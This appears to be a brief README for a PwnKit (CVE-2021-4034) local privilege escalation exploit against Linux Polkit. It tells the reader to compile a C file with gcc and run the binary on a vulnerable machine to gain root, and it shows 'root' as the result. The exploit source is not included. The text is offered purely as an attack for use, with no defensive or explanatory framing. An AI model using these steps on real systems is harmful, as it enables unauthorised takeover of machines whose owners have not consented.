
PWNKIT - Local Privilege Escalation Vulnerability on Linux (Polkit)
Run the following commands on a vulnerable Linux machine in the directory where the c file is present and it should give you root access.
$ gcc CVE-2021-4034.c -o exploit $ ./exploit
root